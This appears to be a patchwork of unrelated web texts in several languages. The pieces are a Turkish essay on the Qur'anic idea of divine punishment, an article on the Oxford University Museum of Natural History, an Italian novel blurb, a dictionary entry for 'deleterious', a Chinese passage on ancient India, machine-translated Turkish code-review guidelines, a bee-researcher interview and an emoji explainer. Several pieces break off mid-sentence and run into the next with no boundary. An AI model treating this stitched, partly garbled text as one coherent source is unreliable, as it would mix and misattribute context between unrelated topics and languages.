Arapça'da azap "terketmek, vazgeçmek, vazgeçirmek" gibi manalara gelen azb kökünden isim olup "işkence, eziyet ve elem" anlamında kullanılır. Elem ve ıstırapların bir kısmı beden, bir kısmı da ruh üzerinde etkili olduğuna göre azap hem maddi hem de manevi bir elem ve ceza niteliği taşır.
Kur'an ve Hadiste azap
Kuran'da türevleri ile beraber 490 defa geçen azap, genellikle ilahi emirlere karşı gelenlere verilen cezanın adı olarak kullanılır. Kuran'da azap manasında geçen başka kelimeler mevcuttur. Bunlardan en çok tekrarlananlar nar, cehennem, ricz, be's ve ikabdır. İlgili ayetlere göre ilahi azap dünyada ve ahirette olmak üzere üç safhada gerçekleşir. Kainatın yegane yaratıcısı, yöneticisi ve dolayısıyla sahibi olan ALLAH kullarından dilediğine azap etmeye muktedir olmakla birlikte (Maide 5/40; Ankebut 29/21) O azabının inkara ve isyana karşılık olduğunu bildirmiştir. (Araf 7/96; Tevbe 9/95; Yunus 10/8, 70) İlahi buyrukları tanımayanlara, peygamberlerini alaya alıp yalanlayanlara, kafirlere, fasıklara, zulüm ve haksızlık yapanlara, hak dine girdikten sonra dönenlere, işledikleri günahlar sebebiyle ceza ve azap olmak üzere çeşitli felaketler gönderilerek helak edildikleri muhtelif ayetlerde beyan edilmiştir. Bilhassa Nuh, Hud, Salih, Lut ve Şuayb peygamberlerin inkarcı kavimleri çeşitli şekillerdeki felaketlerle azaba uğratılmış, kimi yerin dibine geçirilerek, kimine gökten taş yağdırılarak (Ankebut 29/40), kimi suda boğularak (İsra 17/103) kimine yağmur felaketi verilerek (Araf 7/84) bunlar maddi cezaya çarptırılmış, Kuran'a inanmayan Ehl-i Kitap ile münafıklar da olduğu gibi kimine de zillet damgası vurarak kıyamete kadar manevi azaba maruz bırakılmıştır. Yine Kuran, kafirlerin sahip olduğu gelip geçici dünya nimetlerinin aslında kendileri için bir azap olduğunu (Tevbe 9/85) haber vermiş, bu şekilde maddi imkanların insan bedenen haz vermesine rağmen ruhu için ıstırap kaynağı olabileceği, manevi mutluluğun madde ile değil, ALLAH yolunda harcanmayan servetin sahibini azaba sürükleyeceği anlatılmak istenmiştir.(Tevbe 9/35)
Bizim ele alacağımız konu azabın kimleri etkilediğidir. Kafirler dünyada azaba uğrarken orada bulunan Müslümanlar dünyevi azaptan beri mi kalacaklardır? Dünya da verilen azap sadece kötü insanları mı etkiler? Azaptan kurtulmak nasıl mümkün olur? Bu konuyu Kur'an ve hadislerle değerlendirelim.
Müminlerin, hayat sürecinde birtakım olumsuz sonuçlara yol açabilecek düşünsel ve amil sapmalardan doğal bireysel ve toplumsal sorunları bilinçli bir şekilde göğüslemeleri bir sorumluluktur. Bu da, olumluluklar ve olumsuzluklarıyla toplumun gidişatına hükmeden sosyal prensipleri iyi kavrayan kapsamlı bir sorumluluk duygusu içinde bunlarla mücadele etmekle sağlanabilir. Kuran-ı Kerim, insanların yaptıklarından dolayı sorumlu olduklarını bildirir. İnsan yaptığı hayırlı amellerin de kötü işlerinde karşılığını görecektir. Bu, gerek dünyada gerekse ahirette ortaya çıkan bir durumdur.
Kötü amellerin karşılığı dünyada ve ahirette azaptır. Ancak azap sadece kafirleri mi kuşatır?
İnsanların ilişki ve çıkarları, çağrıştırdıkları duygu ve düşüncelerle oldukça karmaşık bir manzara arz ederler. Bu nedenledir ki toplumun dar birimlerinden birinde meydana gelen ihtilafların çoğu zaman bu birimle sınırlı kalmadığını aksine diğer birimlerin de bazı duygu ve düşünce boyutlarında bundan etkilendiklerini görürüz. Bu bir tür virüs veya bireyler arasındaki yoğun ilişkiden dolayı gayri ihtiyari bir etkileşim olarak tanımlanabilir. İşte iyiliği emredip kötülükten sakındırma emri bu bağlamda gündeme gelmiştir. Bu ilke, İslam toplumunun dinamik karakteristiğidir. İslam toplumu, bireylerinin bir bölümünün çarpıklığından birinci derecede sorumludur. Kadın erkek tüm müminler bu sorumluluğu paylaşırlar. Çünkü mesele sadece çarpıklık içinde olanları ilgilendirmekle kalmamakta, şu veya bu şekilde toplumun diğer katmanlarını da etkilemektedir. Kişi özgürlüklerine saygı iddiasıyla bunlara karşı kayıtsız kalmak mümkün değildir. Çünkü öyle kişi özgürlükleri vardır ki birçok alanda toplumun tamamının özgürlüğünü kısıtlayabilmektedirler. Kuran, Müslümanları o tür bir fitneden sakındırmaktadır ki onun etkileri sadece onu ortaya atanlara ve ateşini körükleyenlere değil sosyal olay ve sorunların içiçeliğinin tabii sonucu olarak diğerlerine de dokunacaktır: "Sadece sizden zulmedenlere ulaşmayacak fitneden sakının"(Enfal 8/25) Bireylerin hareketleri toplumun geleceğini belirlediği için çıkarılan fitne sadece sahiplerini değil diğer bireyleri de yakacaktır. (Fadlullah, Min Vahy'il Kur'an, X, 251,252)Dolayısıyla zalimlerin körükledikleri fitne ateşine karşı herkesin uyanık olması çağrısı yapılmıştır. Kurtubi, Ali, Zeyd b. Sabit ve İbn Mesud'un bu ayetteki la tusiybenne ifadesini letusiybenne şeklinde okuduklarını ve çoğunluğun okuyuşuna muhalefet ettiklerini söyler. Bu durumda ortaya çıkan "özellikle zalimlere isabet eden fitneden sakının" anlamını verecek şekilde okumanın mümkün olduğunu söyler. (Kurtubi, IV, 352) Her iki okuyuş biçiminde de müminler zalim olmaktan ve onların uğrayacağı azaptan sakındırılmaktadırlar.
Bu fitne zulmedenlere isabet etmekle kalmaz, belki umumileşir. Bazı günahlar vardır ki zararı geneli ilgilendirir. Sebep olacağı fitne ve ihtilal, celbedeceği sıkıntı ve musibet yalnız o günahı yapan, işi yerinden oynatan ve bu suretle kendine ve diğerlerine zulmetmiş olan zalimlere has kalmaz da kurunun yanında yaşı da yakar. Mesela açıkça, kötülük, iyiliği emir ve kötülüğü nehiyde uzlaşma, akidenin ifsada uğraması ve ci
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ر زمینه های مختلف را برای پیشرفت جدید و به نفع دولت و ملت دو کشور افزایش یابد.Oxford University Museum of Natural History
Front view of Oxford University Museum
|Location||Parks Road, Oxford, England|
|Type||University museum of natural history|
The Oxford University Museum of Natural History, sometimes known simply as the Oxford University Museum or OUMNH, is a museum displaying many of the University of Oxford's natural history specimens, located on Parks Road in Oxford, England. It also contains a lecture theatre which is used by the University's chemistry, zoology and mathematics departments. The University Museum provides the only access into the adjoining Pitt Rivers Museum.
The University's Honour School of Natural Science started in 1850, but the facilities for teaching were scattered around the city of Oxford in the various colleges. The University's collection of anatomical and natural history specimens were similarly spread around the city.
Regius Professor of Medicine, Sir Henry Acland, initiated the construction of the museum between 1855 and 1860, to bring together all the aspects of science around a central display area. In 1858, Acland gave a lecture on the museum, setting forth the reason for the building's construction. He viewed that the University had been one-sided in the forms of study it offered—chiefly theology, philosophy, the classics and history—and that the opportunity should be offered to learn of the natural world and obtain the "knowledge of the great material design of which the Supreme Master-Worker has made us a constituent part". This idea, of Nature as the Second Book of God, was common in the 19th century.
The construction of the building was accomplished through money earned from the sale of Bibles. Several departments moved within the building—astronomy, geometry, experimental physics, mineralogy, chemistry, geology, zoology, anatomy, physiology and medicine. As the departments grew in size over the years, they moved to new locations along South Parks Road, which remains the home of the University's science departments.
The last department to leave the building was the entomology department, which moved into the zoology building in 1978. However, there is still a working entomology laboratory on the first floor of the museum building.
Between 1885 and 1886 a new building to the east of the museum was constructed to house the ethnological collections of General Augustus Pitt Rivers—the Pitt Rivers Museum. In 19th-century thinking, it was very important to separate objects made by the hand of God (natural history) from objects made by the hand of man (anthropology).
The largest portion of the museum's collections consist of the natural history specimens from the Ashmolean Museum, including the specimens collected by John Tradescant the elder and his son of the same name, William Burchell and geologist William Buckland. The Christ Church Museum donated its osteological and physiological specimens, many of which were collected by Acland.
The neo-Gothic building was designed by the Irish architects Thomas Newenham Deane and Benjamin Woodward. The museum's design was directly influenced by the writings of critic John Ruskin, who involved himself by making various suggestions to Woodward during construction. It was built in 1861. The adjoining building that houses the Pitt Rivers Museum was the work of Thomas Manly Deane, son of Thomas Newenham Deane. It was built between 1885 and 1886.
The museum consists of a large square court with a glass roof, supported by cast iron pillars, which divide the court into three aisles. Cloistered arcades run around the ground and first floor of the building, with stone columns each made from a different British stone, selected by geologist John Phillips (the Keeper of the Museum). The ornamentation of the stonework and iron pillars incorporates natural forms such as leaves and branches, combining the Pre-Raphaelite style with the scientific role of the building.
Statues of eminent men of science stand around the ground floor of the court—from Aristotle and Bacon through to Darwin and Linnaeus. Although the University paid for the construction of the building, the ornamentation was funded by public subscription—and much of it remains incomplete. The Irish stone carvers O'Shea and Whelan had been employed to create lively freehand carvings in the Gothic manner. When funding dried up they offered to work unpaid, but were accused by members of the University Congregation of "defacing" the building by adding unauthorised work. According to Acland, they responded by caricaturing the Congregation as parrots and owls in the carving over the building's entrance. Acland insists that he forced them to remove the heads.
The 1860 evolution debate
A significant debate in the history of evolutionary biology took place in the museum in 1860 at a meeting of the British Association for the Advancement of Science. Representatives of the Church and science debated the subject of evolution, and the event is often viewed as symbolising the defeat of a literalist interpretation of the Genesis creation narrative. However, there are few eye-witness accounts of the debate, and most accounts of the debate were written by scientists.
Thomas Huxley and Samuel Wilberforce, the Bishop of Oxford, are generally cast as the main protagonists in the debate. Huxley was a keen scientist and a staunch supporter of Darwin's theories. Wilberforce had supported the construction of the museum as the centre for the science departments, for the study of the wonders of God's creations.
On the Wednesday of the meeting, 27 June 1860, botanist Charles Daubeny presented a paper on plant sexuality, which made reference to Darwin's theory of natural selection. Richard Owen, a zoologist who believed that evolution was governed by divine influence, criticised the theory pointing out that the brain of the gorilla was more different from that of man than that of other primates. Huxley stated that he would respond to this comment in print, and declined to continue the debate. However, rumours began to spread that the Bishop of Oxford would be attending the conference on the following Saturday.
Initially, Huxley was planning to avoid the bishop's speech. However, evolutionist Robert Chambers convinced him to stay.
Wilberforce's speech on 30 June 1860 was good-humoured and witty, but was an unfair attack on Darwinism, ending in the now infamous question to Huxley of whether "it was through his grandfather or grandmother that he claimed descent from a monkey." Some commentators suggested that this question was written by Owen, and others suggested that the bishop was taught by Owen. (Owen and Wilberforce had known each other since childhood.)
Wilberforce is purported to have turned to his neighbour, chemist Professor Brodie and exclaiming, "The Lord has delivered him into mine hands." When Huxley spoke, he responded that he had heard nothing from Wilberforce to prejudice Darwin's arguments, which still provided the best explanation of the origin of species yet advanced. He ended with the equally famous response to Wilberforce's question, that he had "no need to be ashamed of having an ape for his grandfather, but that he would be ashamed of having for an ancestor a man of restless and versatile interest who distracts the attention of his hearers from the real point at issue by eloquent digression and skilled appeals to religious prejudice."
However it seems unlikely that the debate was as spectacular as traditionally suggested – contemporary accounts by journalists do not make mention of the words that have become such notable quotations. Additionally, contemporary accounts suggest that it was not Huxley, but Sir Joseph Hooker who most vocally defended Darwinism at the meeting.
While all the accounts of the event suggest that the supporters of Darwinism were the most persuasive, it seems likely that the exact nature of the debate was made more sensational in the reports of Huxley's supporters to encourage further support for Darwin's theories.
The 1894 demonstration of wireless telegraphy
The first public demonstration of wireless telegraphy took place in the lecture theatre of the museum on 14 August 1894, carried out by Professor Oliver Lodge. A radio signal was sent from the neighbouring Clarendon Laboratory building, and received by apparatus in the lecture theatre.
Charles Dodgson and the dodo
Today the head and foot of a dodo displayed at the museum are the most complete remains of a single dodo anywhere in the world. Many museums have complete dodo skeletons, but these are composed of the bones of several individuals. The museum also displays a 1651 painting of a dodo by Flemish artist, Jan Savery.
Charles Dodgson, better known by his pen-name Lewis Carroll, was a regular visitor to the museum, and Savery's painting is likely to have influenced the character of the Dodo in Carroll's Alice's Adventures in Wonderland.
The museum today
The museum has free entrance, is open daily from 10am to 5pm, and attracts over 670,000 visitors a year, including over 35,000 school children on organised visits.
The museum collections are divided into three sections: Earth Collections covering the Palaeontological collections and the mineral and rock collections, Life Collections which include zoological and entomological collections, and the Archive Collections. The museum is led by a Director (currently Professor Paul Smith (formerly Head of the School of Geography, Earth and Environmental Sciences at the University of Birmingham)), who succeeded Professor Jim Kennedy in 2011, and there are education, outreach, IT, library, conservation and technical staff.
Since 1997 the museum has benefited from external funding, from Government and private sources, and undertaken a renewal of its displays. As well as central exhibits featuring the dodo and dinosaurs, there are sets of displays with contemporary designs but within restored Victorian cabinets, on a variety of themes: Evolution, Primates, the History of Life, Vertebrates, Invertebrates and Rocks & Minerals. There are also a number of popular touchable items, which include Mandy the Shetland Pony, a stuffed leopard and other taxidermy. Additionally there is a meteorite and large fossils and minerals. Visitors can also see large dinosaur reconstructions and a procession of mammal skeletons.
A famous group of ichnites was found in a limestone quarry at Ardley, 20 km northeast of Oxford, in 1997. They were thought to have been made by Megalosaurus and possibly Cetiosaurus. There are replicas of some of these footprints, set across the front lawn of the museum.
The Hope Entomological Collections are held by the Museum. The Hope Department was founded by Frederick William Hope.
- The Abbot's Kitchen, an early chemistry laboratory next to the museum, built at the same time.
- Radcliffe Science Library, the science library of Oxford University, close to the museum.
- Yanni, Carla. Nature's Museums: Victorian Science and the Architecture of Display, Chapter two, passim.
- Taunton, Larry (26 December 2012). "The atheist who tried to steal Christmas". USA Today. Retrieved 2 January 2013.
- Yanni, chapter two, passim
- Account of the 1860 debate, American Scientist.
- Ian Hesketh (3 October 2009). Of Apes and Ancestors: Evolution, Christianity, and the Oxford Debate. University of Toronto Press. ISBN 978-0-8020-9284-7. Retrieved 21 January 2013.
- Charles Darwin (15 December 2009). The Power of Movement in Plants. MobileReference. pp. 549–. ISBN 978-1-60501-636-8. Retrieved 21 January 2013.
- J.R. Lucas, Wilberforce and Huxley: A Legendary Encounter http://users.ox.ac.uk/~jrlucas/legend.html retrieved 5 October 2007
|Wikimedia Commons has media related to Oxford University Museum of Natural History.|
- Oxford University Museum website
- Regulations for the Oxford University Museum of Natural History
- Virtual Tour of the Oxford University Museum of Natural History
- History of the Insect collections
- Oxford University Estates Services Conservation Management Plan for the University Museum (38mbs)
- Virtual Tour of the Oxford University Museum of Natural History 2014Il terzo capitolo della saga di Chocolat
Il vento ha ricominciato a soffiare. Vianne Rocher lo sente, e non ha altra scelta che seguirlo e tornare a Lansquenet, là dove tutto è cominciato, il luogo dove otto anni prima aveva aperto una chocolaterie. Nel paese, adesso come allora, domina un’atmosfera chiusa e bigotta. Eppure c’è qualcosa di nuovo. Il profumo delle spezie e del tè alla menta riempie l’aria, donne vestite di nero camminano veloci, a capo chino, per le viuzze, a rivaleggiare con il campanile si leva un minareto. All’inizio la convivenza fra gli abitanti e la comunità musulmana era stata tranquilla e gioiosa, ma un giorno le cose sono cambiate e sono iniziate le incomprensioni, le violenze, il fuoco. Il curato Francis Reynaud vuole a ogni costo salvare il villaggio e tornare all’armonia di una volta. E ha capito che solo una donna può aiutarlo, Vianne, l’acerrima nemica di un tempo.Definition of deleterious
: harmful often in a subtle or unexpected way <deleterious effects> <deleterious to health>
Examples of deleterious in a sentence
In developing countries, the imposition of boundaries around national parks and protected areas has been deleterious for both people and wildlife. —Kristin B. Gunther, Association of American Geographers, 2002
Most everyone now knows the action of pressing mouse keys is far more deleterious to the tender structures of the wrist and hand than typing is. —Michael Finley, Albany (New York) Times-Union, 2 Sept. 1998
This skewed allocation of resources away from those most in need, in turn, insures that many young people from low-income families will continue to be shut out of the economy, with obvious deleterious family and social consequences. —Iris C. Rotberg, Education Week, 9 Mar. 1994
For as James Keirans pointed out to me, ticks are the world's most notorious carriers of the agents of diseases that strike animals, wild and domestic. And they rank second only to mosquitoes in their deleterious effect on humans. —Edwards Park, Smithsonian, January 1987
The chemical is deleterious to the environment.
The drug has no deleterious effects on patients.
Origin and Etymology of deleterious
Greek dēlētērios, from dēleisthai to hurt
First Known Use: 1643
Synonym Discussion of deleterious
DELETERIOUS Defined for English Language Learners
Definition of deleterious for English Language Learners
: damaging or harmful
Medical Definition of deleterious
: harmful often in a subtle or an unexpected way <the deleterious effects of radiation and chemotherapy on the marrow—Christine Gorman> <deleterious genes>
Seen and Heard
What made you want to look up deleterious? Please tell us where you read or heard it (including the quote, if possible).古印度是世界四大文明古国之一，公元前2000年前后创造了灿烂的印度河文明。
约在公元前14世纪，原居住在中亚的雅利安人中的一支进入南亚次大陆，并征服了当地土著。伴随着雅利安人的进入，种姓制度开始出现。
公元前325年建立了孔雀王朝，形成了统一的国家。孔雀王朝是古代印度摩揭陀国最著名的奴隶制王朝。因其创造者旃陀罗笈多出身于孔雀家族而得名。
旃陀罗笈的孙子阿育王时期，古代奴隶制
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vb.) her biri işlevselliğin bir alt kümesini kapsıyor ve özellik / büyük özellik dalına göre ayrı ayrı kod incelemesi alıyor. Tüm ikincil dallar özellik / büyük özellik olarak birleştirildiğinde, ikincisini ana dalla birleştirmek için bir CR oluşturun.
Kodu incelemeye hazırlama
Hakemlerin zamanını ve motivasyonunu boşa harcamamak için incelemesi kolay CR'leri sunmak yazarın sorumluluğundadır:
- Kapsam ve boyut Değişiklikler, kapsamlı bir şekilde kapsadığı dar, iyi tanımlanmış, kendi kendine yeten bir kapsama sahip olmalıdır. Örneğin, bir değişiklik yeni bir özellik uygulayabilir veya bir hatayı düzeltebilir. Daha kısa değişiklikler daha uzun olanlara göre tercih edilir. Bir CR ~ 5'ten fazla dosyada önemli değişiklikler yaparsa veya yazması 1-2 günden fazla sürerse veya incelemesi 20 dakikadan uzun sürerse, onu bağımsız çoklu CR'lere bölmeyi düşünün. Örneğin, bir geliştirici, arabirimleri ve dokümantasyon açısından API'yi yeni bir özellik için tanımlayan bir değişiklik ve bu arabirimler için uygulamalar ekleyen ikinci bir değişiklik gönderebilir.
- Yalnızca eksiksiz, kendi kendini gözden geçiren (farkına göre) ve kendi kendini test eden CR'ler gönderin. Gözden geçirenlerin zamanından tasarruf etmek için, gönderilen değişiklikleri test edin (yani, test takımını çalıştırın) ve hakemleri atamadan önce hem yerel hem de CI sunucularında tüm testlerin yanı sıra tüm testlerin ve kod kalite kontrollerinin geçtiğinden emin olun.
- Yeniden yapılan değişiklikleri değiştirmek davranışları değiştirmemelidir; tersine, davranış değişikliği yapılan değişiklikler yeniden düzenlemekten ve kod biçimlendirme değişikliklerinden kaçınmalıdır. Bunun çok iyi nedenleri var:
- Değişikliklerde değişiklik yapmak çoğu zaman birçok satır ve dosyaya dokunur ve sonuç olarak daha az dikkatle incelenir. İstenmeyen davranış değişiklikleri kimse fark etmeden kod tabanına sızabilir.
- Büyük yeniden yapılanma değişiklikleri kiraz toplama, yeniden yapılanma ve diğer kaynak kontrol sihrini bozar. Havuz genelinde yeniden yapılanma taahhüdünün bir parçası olarak sunulan bir davranış değişikliğini geri almak çok zordur.
- Pahalı insan gözden geçirme süresi, stil, sözdizimi veya biçimlendirme tartışmaları yerine program mantığına harcanmalıdır. Bunları Checkstyle, TSLint, Baseline, Prettier, vb. Gibi otomatik takımlarla yerleştirmeyi tercih ediyoruz.
Mesajları gönder
Aşağıdaki, yaygın olarak alıntı yapılan bir standardın ardından iyi bir taahhüt mesajı örneğidir:
Büyük harf, kısa (80 karakter veya daha az) özet
Gerekirse daha ayrıntılı açıklayıcı metin. Yaklaşık 120 karaktere kadar kaydırın. Bazı bağlamlarda, ilk satır bir e-postanın konusu ve metnin geri kalanını gövde olarak değerlendirilir. Ayıran boş satır Vücudun özeti kritiktir (bedeni tamamen ihmal etmezseniz); Eğer çalışırsanız rebase gibi araçlar karışık olabilir ikisi birlikte.
Taahhüt mesajınızı zorunlu: "Düzeltilen hata" ve "Düzeltilen hata" ya da "Düzeltilen hata" değil. Bu sözleşme eşleşiyor git birleştirme ve git gibi geri komutları tarafından oluşturulan taahhüt mesajları ile.
Diğer paragraflar boş satırlardan sonra gelir.
- Mermi noktaları da iyi
Hem taahhüdün ne değiştiğini hem de nasıl yaptığını tanımlamaya çalışın:
> KÖTÜ. Bunu yapma Tekrar derle
> Güzel. IntelliJ derlemesini düzeltmek için jcsv bağımlılığı ekleyin
Hakemleri bulmak
Üreticinin, kod tabanına aşina olan bir veya iki hakem teklif etmesi gelenekseldir. Genellikle, hakemlerden biri proje lideri veya kıdemli bir mühendisdir. Proje sahipleri, yeni CR'lerden haberdar olmak için projelerine abone olmayı düşünmelidir. Üçten fazla taraf arasındaki kod incelemeleri genellikle verimsizdir veya hatta üretkendir, çünkü farklı gözden geçirenler çelişkili değişiklikler önerebilir. Bu, doğru uygulama konusundaki temel uyuşmazlığı gösterebilir ve örneğin daha yüksek bant genişlikli bir forumda, örneğin şahsen veya ilgili tüm taraflarla yapılan bir video konferansında kod incelemesi dışında çözülmelidir.
Kod incelemeleri gerçekleştirme
Bir kod incelemesi, farklı ekip üyeleri arasında bir senkronizasyon noktasıdır ve bu nedenle ilerlemeyi engelleme potansiyeline sahiptir. Sonuç olarak, kod incelemelerinin hızlı olması (günlerin değil, saatlerin sırasına göre) olması ve ekip üyelerinin ve liderlerin zaman taahhüdünün farkında olmaları ve buna göre gözden geçirme zamanlarına öncelik vermeleri gerekir. Bir incelemeyi zamanında tamamlayabileceğinizi düşünmüyorsanız, lütfen derhal kuruluşa bildirin, böylece başka birini bulabilirler.
Gözden geçirme, gözden geçiricinin değişikliği başka bir geliştiriciye makul bir ayrıntı düzeyinde açıklayabilmesi için yeterince ayrıntılı olmalıdır. Bu, kod tabanının ayrıntılarının tek bir kişi tarafından bilinmesini sağlar.
Bir gözden geçiren olarak, kodlama standartlarını uygulamak ve kaliteyi yüksek tutmak sizin sorumluluğunuzdadır. Kodları incelemek bir bilimden çok bir sanattır. Bunu öğrenmenin tek yolu yapmak; deneyimli bir gözden geçiren, daha az deneyimli diğer gözden geçiricileri değişikliklerine koymayı düşünmeli ve önce bir inceleme yapmalarını sağlamalıdır. Yazarın yukarıdaki yönergeleri takip ettiğini varsayarak (özellikle kendi kendini inceleme ve kodun çalışmasını sağlama konusunda), bir gözden geçirenin kod incelemesinde dikkat etmesi gereken şeylerin bir listesi:
amaç
- Bu kod yazarın amacını yerine getiriyor mu? Her değişikliğin kendine özgü bir nedeni olmalı (yeni özellik, refactor, bugfix, vb.). Gönderilen kod aslında bu amacı yerine getiriyor mu?
- Sorular sor. İşlevler ve sınıflar bir sebepten dolayı mevcut olmalıdır. Sebep, inceleyen için net olmadığında, kodun yeniden yazılması veya yorum veya testlerle desteklenmesi gerektiğinin bir göstergesi olabilir.
uygulama
- Sorunu nasıl çözeceğinizi düşünün. Farklıysa neden? Kodunuz daha fazla (uç) durumla mı ilgileniyor? İşlevsel olarak daha mı kısa / kolay / temizleyici / daha hızlı / daha güvenli mi? Geçerli kod tarafından yakalanmayan, tespit ettiğiniz bazı altlıklar var mı?
- Yararlı soyutlamalar için potansiyel görüyor musunuz? Kısmen çoğaltılmış kod genellikle daha soyut veya genel bir işlevsellik parçasının çıkarılabileceğini ve daha sonra farklı bağlamlarda yeniden kullanılabileceğini gösterir.
- Bir rakip gibi düşün, ama bu konuda iyi davran. Kodlarını kıran problemli konfigürasyonlar / giriş verilerini bularak kısayolları veya eksik vakaları alan yazarları “yakalamaya” çalışın.
- Kütüphaneleri veya mevcut ürün kodunu düşünün. Birisi mevcut işlevselliği yeniden uyguladığında, bunun zaten mevcut olduğunu bilmediklerinden daha sık değil. Bazen, kod ya da işlevsellik, örneğin bağımlılıkları önlemek amacıyla, bilerek kopyalanır. Bu gibi durumlarda, bir kod yorumu amacını netleştirebilir. Tanıtılan işlevler zaten mevcut bir kütüphane tarafından sağlandı mı?
- Değişim standart kalıpları takip ediyor mu? Oluşturulan kod tabanları genellikle adlandırma kuralları, program mantığı ayrıştırması, veri türü tanımları, vb. Etrafında kalıplar gösterir. Değişikliklerin mevcut kalıplara göre uygulanması genellikle arzu edilir.
- Değişim, derleme zamanı veya çalışma zamanı bağımlılıkları ekler mi (özellikle alt projeler arasında)? Ürünlerimizi mümkün olduğunca az bağımlılıkla gevşek bir şekilde bir arada tutmak istiyoruz. Bağımlılık ve yapı sistemi üzerinde yapılan değişiklikler yoğun biçimde incelenmelidir.
Okunabilirlik ve stil
- Okuma deneyiminizi düşünün. Kavramları makul bir sürede kavradınız mı? Akış aklı başında ve değişken ve yöntem adlarını takip etmek kolay mıydı? Birden fazla dosya veya işlevi takip edebildiniz mi? Tutarsız adlandırma ile ertelendi misiniz?
- Kod, kodlama kurallarına ve kod stiline uygun mu? Kod, stil, API sözleşmeleri vb. Açısından projeyle tutarlı mı? Yukarıda belirtildiği gibi, stil tartışmalarını otomatik araçlarla düzenlemeyi tercih ediyoruz.
- Bu kod TODO'lara sahip mi? TODO'lar kodda yığıldı ve zamanla bayatladılar. Yazara GitHub Issues veya JIRA ile ilgili bir bilet gönderin ve konu numarasını TODO'ya ekleyin. Önerilen kod
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are much more aggressive and much more assertive about their aggression, so bees get a bad rap because of the actions of wasps. Another misconception is that bees have paper nests. Those are wasp nests. Most bees nest in the ground or in wooden cavities.
The "Bee Movie" came out during a semester when I was teaching my class "Social Insects." We asked the Watsontown Theatre to open for us to see it as a group, and the students had to write a movie review, a biologically correct movie review in the tone of a newspaper article. They had to review the movie and the biology included in it. That was a really successful writing assignment for them because they had to convey to me both their appreciation for the art form and Jerry Seinfeld's humor, but they also had to make commentary about how they could have done it differently to make it biologically correct.
You can overlook things like the bees speaking English and wearing sneakers for artistic expression, but the whole theme of the movie, which is that a bee has to pick one job and stick with it for the rest of its life, is also wrong. Social insects are unique because they have a change of jobs throughout their lives as they age. The biggest problem with the movie from a biologically correct perspective is that all worker bees are females. In the movie, they were all male; the only female bee character in the movie was Jerry's mother.
Q: What is colony collapse disorder, how was it discovered and how has it affected the bee population?
A: Colony collapse is a disorder of bee colonies that has a yet-unidentified origin. A local beekeeper named David Hackenberg, who brings his colonies from Pennsylvania to Florida and California annually, discovered in the fall of 2006 a catastrophic loss in the population of his individual colonies. Beekeepers have been dealing with a seasonal dwindling of their population for years, but this was on the order of magnitude that hadn't been seen before. The discovery initiated a series of studies and new research to figure out why colony populations crash.
People need to know that without sufficient individuals in the colonies, they can't survive the winter. There isn't a single magic bullet to explain the phenomenon. There are a number of different factors that are shown to be involved. Right now, there's no statistically validated, biological evidence that has been scientifically demonstrated to show that it is the result of a single cause. It's not because of a new insecticide. It's not because of a new virus. It's because those and other factors are interacting and affecting the health of the bee.
This has primarily been a problem for beekeepers who have a large number of colonies, and it's much less dramatic of a problem in hobby beekeepers or smaller operations. Colony collapse is one major cause of overwintering mortality, when between 50 percent and 75 percent of a beekeeper's colonies don't survive over the winter, but it's not the only one. This problem is hugely important for the business of beekeeping, but it also means the spring population service is substantially lower. There are fewer bee bodies available in the spring to do the pollination.
Q: Are there any known causes of colony collapse and what is being done to combat it?
A: There are numerous factors involved. One is that we need to know that the bees have adequate nutrition. We also have to make sure that they are not exposed to pesticides in the environment. Honeybees harbor a parasitic mite that functions like a tick on mammals, and the mite itself transmits viral disease. The virus is not something that we can treat chemically, but we can modify the way we keep the bees to affect the mite populations. If we can control the mites, then we can lower the amount of disease within the colony.
Q: Bats in the northeast are being devastated by white-nose syndrome, a mysterious condition that causes them to leave hibernation early, deplete their reserves and starve to death. Is the fact that white-nose syndrome is killing off bats at the same time bees are dying as a result of colony collapse compounding these problems?
A: Both white-nose syndrome and colony collapse are thought to have an impact on the host animals' immune system. So white-nose syndrome is affecting bats because the bats are not able to fight off the infection. With colony collapse, it's not a single cause but we know that the ability of the bees to withstand environmental change has been lowered, so it could be multiple causes. Both bees and bats are immune compromised in some way, and we don't know exactly how we can treat that, but I don't think the two are related beyond the fact that we are dealing with some form of an exotic disorder that is having an influence on the population. Both problems are truly bad news for the environment.
Maybe I see a little bit too much of the silver lining with environmentally sensitive issues, but one thing that has been beneficial about the press attention that the bee issue has created is that people are paying attention to where their food comes from — and that's a good thing — whether it is to promote environmental awareness or attention on buying food that is grown locally or grown in the back yard. When people are concerned about bees, it means they are thinking about the consequences of not having bees, and that can only be good for our communities.
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What is an emoji?
Emoji, Japanese for ‘picture with character’, is a blanket term for the little picture icons that people send in messages (typically text or chat messages from a mobile phone). These pictures can represent pretty much anything at all, from people and animals to clothes, sporting items and even steaming piles of poo.
Emojis are now ridiculously popular in messaging apps, to the point that the Oxford English Dictionary’s Word of The Year 2015 was actually an emoji. Sigh.
What is an emoticon?
Emoticon is a blanket term for pictures or symbols that represent a particular emotion.
Because it’s difficult to convey feelings in text messages, thanks to a complete lack of tone and expression, people use emoticons to ensure the receiver knows exactly how they feel. For instance, a sarcastic message may end with a frowny face to show that the sender isn’t actually ‘super excited to be going to the dentist for a double root canal’.
Emoticons used to be made up of various keyboard symbols, such as 🙂 for a smiley face and o_O for a shocked face. However, these days most phone messaging apps come with built-in emoticon graphics, to save you from typing out the characters yourself.
Note that emoticons are not necessarily just face pictures. For instance, </3 is also an emoticon, representing a broken heart.
What’s the difference between an emoji and an emoticon?
While emoticons specifically represent a kind of emotion (hence the name), an emoji could be absolutely any kind of picture, including inanimate objects such as shoes. In this way, emoticons could also be described as emojis, but not necessarily the other way around.
How do I use emojis and emoticons on my mobile phone?
Every modern mobile’s text messaging app will have emojis built in, usually of the manufacturer’s own design.
Head into your text messaging app and start to write a message. You should see an emoji symbol somewhere on the virtual keyboard, usually represented by a smiley face. Give this a tap and you’ll open up the emoji menu, which gives you a choice of pictures to insert into your message.
You will also find emojis built into almost every third-party messaging app that you download onto your phone. The likes of WhatsApp, Facebook Messenger and Skype all boast their own set of picture icons, which again are hidden away in a special emoji menu.
How do I download new emojis and emoticons onto my mobile phone?
Regardless of which kind of phone you use (Android, iPhone, Windows Phone and so on), you can download and install new emojis quite easily.
Head to your phone’s online apps store (the App Store for iPhone users, and Google Play for Android users, for instance) and search for ’emoji’. You’ll see a huge list of emoji keyboards, such as the Kika keyboard, which replace your standard virtual keyboard with a new version packing a vast array of pics and icons to use. You’ll also find emoji packs, such as the Minions Emoji, which actually adds emoji into the most popular messaging apps.
If you really must, you can even install Kim Kardashian emoji, some of which have to be seen to be believed.
How do I make my own emoji?
